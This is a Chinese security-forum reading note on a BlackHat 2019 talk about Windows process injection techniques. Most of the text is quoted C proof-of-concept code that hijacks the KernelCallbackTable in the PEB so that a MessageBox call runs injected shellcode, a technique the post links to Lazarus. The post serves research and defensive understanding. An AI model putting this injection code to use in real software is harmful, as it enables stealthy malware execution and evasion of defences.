[原创]《Process Injection Techniques - Gotta Catch Them All》议题读后记-软件逆向-看雪-安全社区|安全招聘|kanxue.com

[原创]《Process Injection Techniques - Gotta Catch Them All》议题读后记

发表于: 2022-2-10 13:37 8071

[原创]《Process Injection Techniques - Gotta Catch Them All》议题读后记

erfze

2022-2-10 13:37

8071

BlackHat 2019议题，相关链接如下：

• Presentation Slides
• White Paper
• Tool

作者于文中讨论的是True Process Injection：

Injection可划分为两项子技术：

所以作者在Paper中将所有提到的技术划分为两类——write primitive与execution method，每一项Injection后面会标注其属于哪一类：

作者在列出每一项Injection后分析其核心原理，给出POC，并给出评估：

最后列出表格总结前文提到的所有技术。作者在最后还提到一个有意思的Auxiliary Technique：

Paper中第16项 KernelControlTable execution method (FinFisher/FinSpy 2018)，Lazarus在最近的攻击活动中利用了该技术——North Korea’s Lazarus APT leverages Windows Update client, GitHub in latest campaign，笔者在Lazarus KernelCallbackTable Hooking一文中对其进行了简要分析，ORCA666近日发布了POC：

ORCA666发布的另一个项目snaploader：

本文可以当作是一篇汇总，记录了笔者在阅读BlackHat 2019《Process Injection Techniques - Gotta Catch Them All》议题时所搜集到的相关资料，0x04 References部分1-7都在White Paper中有提到，笔者认为原文会比Paper更详尽一些。另，modexp与Hexacorn上有很多关于Process Injection这方面的博客。

PssSuccess = PssCaptureSnapshot(

    TargetProcess,

    PSS_QUERY_PROCESS_INFORMATION,

    NULL,

    &SnapshotHandle);

if (PssSuccess != ERROR_SUCCESS) {

    printf("[!] PssCaptureSnapshot failed: Win32 error %d \n", GetLastError());

    return FALSE;
}

PssSuccess = PssQuerySnapshot(

    SnapshotHandle,

    PSS_QUERY_PROCESS_INFORMATION,

    &PI,

    sizeof(PSS_PROCESS_INFORMATION)
);

if (PssSuccess != ERROR_SUCCESS) {

    printf("[!] PssQuerySnapshot failed: Win32 error %d \n", GetLastError());

    return FALSE;
}

if (PI.PebBaseAddress == NULL) {

    printf("[!] PI.PebBaseAddress IS NULL \n");

    return FALSE;
}

else {

    //ReadProcessMemory(TargetProcess, PI.PebBaseAddress, &peb, sizeof(peb), &lpNumberOfBytesRead);

    RtlMoveMemory(&peb, PI.PebBaseAddress, sizeof(PEB));

    if (peb.KernelCallbackTable == 0){

        printf("[!] KernelCallbackTable is NULL : Win32 error %d \n", GetLastError());

        return FALSE;

    }

    else {

        memcpy(&kct, peb.KernelCallbackTable, sizeof(kct));

        printf("[i] [BEFORE]kct.__fnDWORD : %0-16p \n", (void*) kct.__fnDWORD);

        if (Clean ==  TRUE){

            //ReadProcessMemory(TargetProcess, WMIsAO_ADD, &Buffer, Size, &lpNumberOfBytesRead);

            RtlMoveMemory(&Buffer, WMIsAO_ADD, Size);

            if (Buffer == NULL) {

                printf("[!] Buffer is NULL: Win32 error %d \n", GetLastError());

                return FALSE;

            }

        }

        Success = VirtualProtect(WMIsAO_ADD, Size, PAGE_READWRITE, &Old);

        if (Success != TRUE) {

            printf("[!] [1] VirtualProtect failed: Win32 error %d \n", GetLastError());

            return FALSE;

        }
 
        memcpy(WMIsAO_ADD, rawData, Size);
 
        Success = VirtualProtect(WMIsAO_ADD, Size, PAGE_EXECUTE_READWRITE, &Old);

        if (Success != TRUE) {

            printf("[!] [2] VirtualProtect failed: Win32 error %d \n", GetLastError());

            return FALSE;

        }

        printf("[i] WMIsAO_ADD : %0-16p \n", (void*)WMIsAO_ADD);
 
        memcpy(&Newkct, &kct, sizeof(KERNELCALLBACKTABLE));

        Newkct.__fnDWORD = (ULONG_PTR)WMIsAO_ADD;
 
        pNewkct = VirtualAlloc(NULL, sizeof(KERNELCALLBACKTABLE), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

        memcpy(pNewkct, &Newkct, sizeof(KERNELCALLBACKTABLE));
 
        Success = VirtualProtect(PI.PebBaseAddress, sizeof(PEB), PAGE_READWRITE, &Old);

        //WriteProcessMemory(TargetProcess, (PBYTE)PI.PebBaseAddress + offsetof(PEB, KernelCallbackTable), &pNewkct, sizeof(ULONG_PTR), &lpNumberOfBytesWritten);

        RtlMoveMemory((PBYTE)PI.PebBaseAddress + offsetof(PEB, KernelCallbackTable), &pNewkct, sizeof(ULONG_PTR));

        Success = VirtualProtect(PI.PebBaseAddress, sizeof(PEB), Old, &Old);

        //if (lpNumberOfBytesWritten == 0) {

        //    printf("[!] WriteProcessMemory failed: Win32 error %d \n", GetLastError());

        //    return FALSE;

        //}

        //else {

            Check_fnDWORDAfterOverWriting(TargetProcess);

            MessageBoxA(NULL, "test", "test", MB_OK); //this will trigger the shellcode, and u wont see the messagebox ;0

            if (Clean == TRUE) {

                //WriteProcessMemory(TargetProcess, WMIsAO_ADD, &Buffer, sizeof(Buffer), &lpNumberOfBytesWritten);

                RtlMoveMemory(WMIsAO_ADD, Buffer, sizeof(Buffer));

                ZeroMemory(Buffer, sizeof(Buffer));

            }

        //}

        return TRUE;

    }
}